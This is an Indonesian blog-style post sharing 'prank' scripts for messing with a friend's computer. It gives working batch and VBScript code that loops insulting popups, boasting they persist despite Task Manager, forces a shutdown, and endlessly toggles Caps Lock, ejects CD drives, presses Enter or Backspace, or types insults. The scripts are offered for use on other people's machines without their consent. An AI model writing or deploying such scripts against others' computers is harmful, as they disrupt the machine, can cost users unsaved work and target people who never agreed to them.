Script-script Jahil

pgen ngerjain komputer atau laptop temen kalian,
gampang banget caranya,nie praktekin script jahil dibawah ini..!!

message yang nongol melulu

@ECHO off
:Begin
msg * muka lo jelek

msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya :D
kata2 nya bisa diganti sesuai selera masing2...:o
apalagi yg sedang jatuh cinta...kasih tuh ke gebetan lu...:D
di kirain cinta gila...:D


bikin shutdown+message


@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"
save namafile.BAT


Mainin Caps Lock button


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
save namafile.vbs


buka tutup CD/DVD


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs



bikin vbscript nongol mlulu


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save namafile.vbs
ket:di task manager full wscript yg lg running :D



teken tombol backspace mlulu


MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
save namafile.vbs


otomatis ngetik "lu jelek banget sih" di notepad/word


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loopsave namafile.vbs

semoga bermanfaat